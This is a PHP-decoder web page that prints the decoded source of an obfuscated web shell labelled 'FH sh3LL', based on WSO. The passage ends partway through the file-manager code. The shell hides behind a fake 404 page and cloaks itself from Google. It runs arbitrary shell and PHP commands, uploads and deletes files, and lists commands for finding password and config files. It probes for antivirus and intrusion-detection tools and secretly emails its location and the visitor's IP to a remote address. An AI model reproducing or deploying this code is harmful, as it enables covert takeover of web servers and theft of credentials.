Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php echo eval(base64_decode('JGF1dGhfcGFzcyA9ICIyMGQ5MWNlZGIzYWI0ZmYxMGMyODJkMmJhZTU3YT..

Decoded Output download

None$auth_pass = "20d91cedb3ab4ff10c282d2bae57a697";
$color = "#66bde5";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', 'Ver 2.0');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    echo '<h1>Not Found</h1>
          <p>The requested URL was not found on this server.</p>
          <hr>
          <address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
          <style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
          <center><form method=post><input type=password name=pass></form></center>';
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
    $os = 'win';
else
    $os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
    @chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
    $home_cwd = str_replace("\", "/", $home_cwd);
    $cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
    $cwd .= '/';
    
if($os == 'win') {
    $aliases = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
} else {
    $aliases = array(
          "List dir" => "ls -la",
        "list file attributes on a Linux second extended file system" => "lsattr -va",
          "show opened ports" => "netstat -an | grep -i listen",
        "Find" => "",
          "find all suid files" => "find / -type f -perm -04000 -ls",
          "find suid files in current dir" => "find . -type f -perm -04000 -ls",
          "find all sgid files" => "find / -type f -perm -02000 -ls",
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
          "find config.inc.php files" => "find / -type f -name config.inc.php",
          "find config* files" => "find / -type f -name \"config*\"",
          "find config* files in current dir" => "find . -type f -name \"config*\"",
          "find all writable folders and files" => "find / -perm -2 -ls",
          "find all writable folders and files in current dir" => "find . -perm -2 -ls",
          "find all service.pwd files" => "find / -type f -name service.pwd",
          "find service.pwd files in current dir" => "find . -type f -name service.pwd",
          "find all .htpasswd files" => "find / -type f -name .htpasswd",
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
          "find all .bash_history files" => "find / -type f -name .bash_history",
          "find .bash_history files in current dir" => "find . -type f -name .bash_history",
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        "Locate" => "",
          "locate httpd.conf files" => "locate httpd.conf",
        "locate vhosts.conf files" => "locate vhosts.conf",
        "locate proftpd.conf files" => "locate proftpd.conf",
        "locate psybnc.conf files" => "locate psybnc.conf",
        "locate my.conf files" => "locate my.conf",
        "locate admin.php files" =>"locate admin.php",
        "locate cfg.php files" => "locate cfg.php",
        "locate conf.php files" => "locate conf.php",
        "locate config.dat files" => "locate config.dat",
        "locate config.php files" => "locate config.php",
        "locate config.inc files" => "locate config.inc",
        "locate config.inc.php" => "locate config.inc.php",
        "locate config.default.php files" => "locate config.default.php",
        "locate config* files " => "locate config",
        "locate .conf files"=>"locate '.conf'",
        "locate .pwd files" => "locate '.pwd'",
        "locate .sql files" => "locate '.sql'",
        "locate .htpasswd files" => "locate '.htpasswd'",
        "locate .bash_history files" => "locate '.bash_history'",
        "locate .mysql_history files" => "locate '.mysql_history'",
        "locate .fetchmailrc files" => "locate '.fetchmailrc'",
        "locate backup files" => "locate backup",
        "locate dump files" => "locate dump",
        "locate priv files" => "locate priv"    
    );
}

function ex($in) {
    $out = '';
    if(function_exists('exec')) {
        @exec($in,$out);
        $out = @join("
",$out);
    }elseif(function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    }elseif(function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }elseif(function_exists('shell_exec')) {
        $out = shell_exec($in);
    }elseif(is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}

function which($p) {
    $path = ex('which '.$p);
    if(!empty($path))
        return $path;
    return false;
}

function printHeader() {
    if(empty($_POST['charset']))
        $_POST['charset'] = "UTF-8";
    global $color;
    
    echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>FH sh3LL</title>
    
    <style>
        body {background-color:#222;color:#fff;}
        body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
        span,h1,a    { color:'.$color.' !important; }
        span        { font-weight: bolder; }
        h1            { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
        div.content    { padding: 5px;margin:0 5px;background: #333333;border-bottom:5px solid #444;}
        a            { text-decoration:none; }
        a:hover        { /*background:#5e5e5e;*/ }
        .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
        .bigarea    { width:100%;height:250px;margin-top:5px;}
        input, textarea, select    { margin:0;color:#00ff00;background-color:#555;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
        input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;} 
        form        { margin:0px; }
        #toolsTbl    { text-align:center; }
        .toolsInp    { width: 80%; }
        .main th    {text-align:left;background-color:#555;font-weight: bold;}
        .main tr:hover{background-color:#5e5e5e;}
        .main td, th{vertical-align:middle;}
        .menu {background: #333;}
        .menu th{padding:5px;font-weight:bold;}
        .menu th:hover{background:#444;}
        .l1 {background-color:#444;}
        pre {font-family:Courier,Monospace;}
        #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
        .logo {text-align:center;font-size:60px;}
        .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
        .cpr {margin-bottom:5px;font-weight:bold;}
        .cpb {width:34px;margin:0 5px;}
        .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
        .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
        .npoad td {padding:0;}
    </style>
    <script>
        function set(a,c,p1,p2,p3,charset) {
            if(a != null)document.mf.a.value=a;
            if(c != null)document.mf.c.value=c;
            if(p1 != null)document.mf.p1.value=p1;
            if(p2 != null)document.mf.p2.value=p2;
            if(p3 != null)document.mf.p3.value=p3;
            if(charset != null)document.mf.charset.value=charset;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            document.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = "ajax=true";
            for(i=0;i<document.mf.elements.length;i++)
                params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
            sr("'.$_SERVER['REQUEST_URI'].'", params);
        }
        function sr(url, params) {    
            if (window.XMLHttpRequest) {
                req = new XMLHttpRequest();
                req.onreadystatechange = processReqChange;
                req.open("POST", url, true);
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                req.send(params);
            } 
            else if (window.ActiveXObject) {
                req = new ActiveXObject("Microsoft.XMLHTTP");
                if (req) {
                    req.onreadystatechange = processReqChange;
                    req.open("POST", url, true);
                    req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                    req.send(params);
                }
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    //alert(req.responseText);
                    var reg = new RegExp("(\d+)([\S\s]*)", "m");
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } 
                else alert("Request error!");
        }
    </script>
    <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
	<form method=post name=mf style="display:none;">
        <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
        <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
        <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
        <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
        <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
        <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
    </form>';
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace?$totalSpace:1;
    $disable_functions = @ini_get('disable_functions');
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    if(!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n=count($path);
    for($i=0;$i<$n-1;$i++) {
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
        for($j=0;$j<=$i;$j++)
            $cwd_links .= $path[$j].'/';
        $cwd_links .= "\")'>".$path[$i]."/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach($charsets as $item)
        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
    $m = array('[SeC. Info]'=>'SeCInfo','[FileS]'=>'FilesMan','[ConSole]'=>'Console','[SQL]'=>'SQL','[PHP]'=>'PHP','[BYpasseR]'=>'SafeMode','[SaFe MoDe]'=>'Bypass','[StrinG Tools]'=>'StringTools','[BruteForce]'=>'Bruteforce','[NetWork]'=>'Network','[ReadaBle Dirs]'=>'Readable','[SYmlink]'=>'SYmlink');
    if(!empty($GLOBALS['auth_pass']))
    $m['[SelfKill]'] = 'SelfRemove';
    $m['[LogOut]'] = 'Logout';
    $menu = '';
    foreach($m as $k => $v)
        $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
    $drives = "";
    if ($GLOBALS['os'] == 'win') {
        foreach( range('a','z') as $drive ){
            if (is_dir($drive.':\'))
                $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
        }
        $drives .= '<br />: ';
    }
    if($GLOBALS['os'] == 'nix') {
        $dominios = @file_get_contents("/etc/named.conf");
        if(!$dominios) {
            $d0c = "CANT READ named.conf";
        } else {
            @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
            $out = sizeof(array_unique($out[1]));
            $d0c = $out."  Domains";
        }
    } else {
        $d0c = " --- ";
    }
    if($GLOBALS['os'] == 'nix' )
    {
        $usefl = ''; $dwnldr = '';
        if(!@ini_get('safe_mode')) {
            $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
            foreach($userful as $item) { if(which($item)) $usefl.= $item.','; }
            
            $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
            foreach($downloaders as $item2) { if(which($item2)) $dwnldr.= $item2.','; }
        } else {
            $usefl = ' ------- '; $dwnldr = ' ------- ';
        }
    } else { 
        $usefl = ' ------- '; $dwnldr = ' ------- ';
    } 
    echo '
          <table class="info" cellpadding="0" cellspacing="0" width="100%"><tr><td width="01px"></td>
          <td><table cellpadding="2" cellspacing="0" class="npoad"><tr><td width="20px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr> 
          <tr><td><span>User:</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
         '<td width=1 align=right>&nbsp&nbsp<nobr><span>&nbsp&nbspServer IP  </span><br><span>Client IP</span><br /><span>HDD: '.viewSize($totalSpace).' || Free:'.viewSize($freeSpace).' </span><br /><span>PHP :  </span><br /><span>Safe Mode</span><br /></nobr></td>'.
         '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br >  ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br /></nobr></td></tr></table>'.
         '</div></div><div style="margin:5;background:#444;"><div class="content" style="border-top:5px solid #444;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#444;">';
}


function printFooter() {
    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";

echo '</div><div style="margin:5px;background:#444;"><div class="content" style="border-top:5px solid #444;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
    <tr>
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
        <td><form method="post" ENCTYPE="multipart/form-data">
        <input type=hidden name=a value="FilesMAn">
        <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
        <input type=hidden name=p1 value="uploadFile">
        <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
    </tr>
</table></div></div>
<div style="margin:0px;background:#444;"><div class="content" style="border-top:0px solid #444;text-align:center;font-weight:bold;">------=[FH Shell  Based WSO]=-------</div></div>


</div>
</body></html>';
}

if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }

if(!isset($_SESSION['trimite'])){
    $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'<br />User IP: '.$_SERVER['REMOTE_ADDR'].(isset($_SERVER['HTTP_X_FORWARDED_FOR'])?'('.$_SERVER['HTTP_X_FORWARDED_FOR'].')':'');
    @mail("[email protected]","3CA_Shell_2.0",$url);
    $_SESSION['trimite']=true;
}

function viewSize($s) {
    if($s >= 1073741824)
        return sprintf('%1.2f', $s / 1073741824 ). ' GB';
    elseif($s >= 1048576)
        return sprintf('%1.2f', $s / 1048576 ) . ' MB';
    elseif($s >= 1024)
        return sprintf('%1.2f', $s / 1024 ) . ' KB';
    else
        return $s . ' B';
}

function perms($p) {
    if (($p & 0xC000) == 0xC000)$i = 's';
    elseif (($p & 0xA000) == 0xA000)$i = 'l';
    elseif (($p & 0x8000) == 0x8000)$i = '-';
    elseif (($p & 0x6000) == 0x6000)$i = 'b';
    elseif (($p & 0x4000) == 0x4000)$i = 'd';
    elseif (($p & 0x2000) == 0x2000)$i = 'c';
    elseif (($p & 0x1000) == 0x1000)$i = 'p';
    else $i = 'u';
    $i .= (($p & 0x0100) ? 'r' : '-');
    $i .= (($p & 0x0080) ? 'w' : '-');
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
    $i .= (($p & 0x0020) ? 'r' : '-');
    $i .= (($p & 0x0010) ? 'w' : '-');
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
    $i .= (($p & 0x0004) ? 'r' : '-');
    $i .= (($p & 0x0002) ? 'w' : '-');
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
    return $i;
}

function viewPermsColor($f) { 
    if (!@is_readable($f))
        return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
    elseif (!@is_writable($f))
        return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
    else
        return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
}

if(!function_exists("scandir")) {
    function scandir($dir) {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}

function actionSecInfo() {
    printHeader();
    echo '<h1>Server security information</h1><div class=content>';
    function showSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo '<span>'.$n.': </span>';
            if(strpos($v, "
") === false)
                echo $v.'<br>';
            else
                echo '<pre class=ml1>'.$v.'</pre>';
        }
    }
    
    showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
    showSecParam('Open base dir', @ini_get('open_basedir'));
    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
    $temp=array();
    if(function_exists('mysql_get_client_info'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists('mssql_connect'))
        $temp[] = "MSSQL";
    if(function_exists('pg_connect'))
        $temp[] = "PostgreSQL";
    if(function_exists('oci_connect'))
        $temp[] = "Oracle";
    showSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';
    
    if( $GLOBALS['os'] == 'nix' ) {
        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
        showSecParam('OS version', @file_get_contents('/proc/version'));
        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if(!$GLOBALS['safe_mode']) {
            echo '<br>';
            $temp=array();
            foreach ($userful as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Userful', implode(', ',$temp));
            $temp=array();
            foreach ($danger as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam('Danger', implode(', ',$temp));
            $temp=array();
            foreach ($downloaders as $item) 
                if(which($item)){$temp[]=$item;}
            showSecParam('Downloaders', implode(', ',$temp));
            echo '<br/>';
            showSecParam('Hosts', @file_get_contents('/etc/hosts'));
            showSecParam('HDD space', ex('df -h'));
            showSecParam('Mount options', @file_get_contents('/etc/fstab'));
        }
    } else {
        showSecParam('OS Version',ex('ver')); 
        showSecParam('Account Settings',ex('net accounts')); 
        showSecParam('User Accounts',ex('net user'));
    }
    echo '</div>';
    printFooter();
}

function actionPhp() {
    if( isset($_POST['ajax']) ) {
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
        ob_start();
        eval($_POST['p1']);
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
        echo strlen($temp), "
", $temp;
        exit; 
    }
    printHeader();
    if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
        echo '<h1>PHP info</h1><div class=content>';
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace('!body {.*}!msiU','',$tmp);
        $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
        $tmp = preg_replace('!h1!msiU','h2',$tmp);
        $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
        $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
        echo $tmp;
        echo '</div><br>';
    }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
    echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
    if(!empty($_POST['p1'])) {
        ob_start();
        eval($_POST['p1']);
        echo htmlspecialchars(ob_get_clean());
    }
    echo '</pre></div>';
    printFooter();
}

function actionFilesMan() {
    printHeader();
    echo '<h1>File manager</h1><div class=content>';
    if(isset($_POST['p1'])) {
        switch($_POST['p1']) {
            case 'uploadFile':
                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
                    echo "Can't upload file!";
                break;
                break;
            case 'mkdir':
                if(!@mkdir($_POST['p2']))
                    echo "Can't create new dir";
                break;
            case 'delete':
                function deleteDir($path) {
                    $path = (substr($path,-1)=='/') ? $path:$path.'/';
                    $dh  = opendir($path);
                    while ( ($item = readdir($dh) ) !== false) {
                        $item = $path.$item;
                        if ( (basename($item) == "..") || (basename($item) == ".") )
                            continue;
                        $type = filetype($item);
                        if ($type == "dir")
                            deleteDir($item);
                        else
                            @unlink($item);
                    }
                    closedir($dh);
                    rmdir($path);
                }
                if(is_array(@$_POST['f']))
                    foreach($_POST['f'] as $f) {
                        $f = urldecode($f);
                        if(is_dir($f))
                            deleteDir($f);
                        else
                            @unlink($f);
                    }
                break;
            case 'paste':
                if($_SESSION['act'] == 'copy') {
                    function copy_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION['f'] as $f)
                        copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);                    
                } elseif($_SESSION['act'] == 'move') {
                    function move_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.'/',$f, $d.$s.'/');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION['f'] as $f)
                        @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
                }
                unset($_SESSION['f']);
                break;
            default:
                if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
                    $_SESSION['act'] = @$_POST['p1'];
                    $_SESSION['f'] = @$_POST['f'];
                    foreach($_SESSION['f'] as $k => $f)
                        $_SESSION['f'][$k] = urldecode($f);
                    $_SESSION['cwd'] = @$_POST['c'];
                }
                break;
        }
        echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
    }
    $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
    if($dirContent === false) {    echo 'Can\'t open this folder!'; return;    }
    global $sort;
    $sort = array('name', 1);
    if(!empty($_POST['p1'])) {
        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
            $sort = array($match[1], (int)$match[2]);
    }
    echo '<script>
        function sa() {
            for(i=0;i<document.files.elements.length;i++)
            if(document.files.elements[i].type == \'checkbox\')
                document.files.elements[i].checked = document.files.elements[0].checked;
        }
        </script>
        <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
        <form name=files method=post>';
    echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = $links = array();
    $n = count($dirContent);
    for($i=0;$i<$n;$i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => $dirContent[$i],
                     'path' => $GLOBALS['cwd'].$dirContent[$i],
                     'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
                     'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
                    );
        if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
            $files[] = array_merge($tmp, array('type' => 'file'));
        elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
            $links[] = array_merge($tmp, array('type' => 'link'));
        elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
            $dirs[] = array_merge($tmp, array('type' => 'dir'));
    }
    $GLOBALS['sort'] = $sort;
    function cmp($a, $b) {
        if($GLOBALS['sort'][0] != 'size')
            return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
        else
            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
    }
    usort($files, "cmp");
    usort($dirs, "cmp");
    usort($links, "cmp");
    $files = array_merge($dirs, $links, $files);
    $l = 0;
    foreach($files as $f) {
        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
